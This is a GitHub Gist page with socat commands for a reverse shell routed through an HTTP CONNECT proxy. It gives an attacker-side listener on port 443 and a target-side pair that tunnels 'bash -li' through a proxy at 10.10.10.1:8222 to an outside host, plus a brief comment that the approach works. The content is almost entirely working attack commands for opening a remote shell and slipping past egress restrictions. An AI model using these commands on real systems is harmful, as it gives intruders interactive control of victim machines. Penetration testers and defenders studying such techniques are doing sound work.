Last active
January 12, 2024 12:24
-
-
Save staaldraad/a3cb590e6ec48c25c55af84eec03b97d to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Listener on x.x.x.x:443: | |
socat file:`tty`,raw,echo=0 tcp-listen:443 | |
# Reverse shell proxy server is at 10.10.10.1:8222: | |
socat UNIX-LISTEN:/tmp/x,reuseaddr,fork PROXY:10.10.10.1:x.x.x.x:443,proxyport=8222 & | |
socat exec:'bash -li',pty,stderr,setsid,sigint,sane unix:"/tmp/x" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
The proxy server must allow
CONNECT
proxyingsocat man-page entry:
Could probably do this in a one-liner but I was failing. The two part-er worked a charm 🎉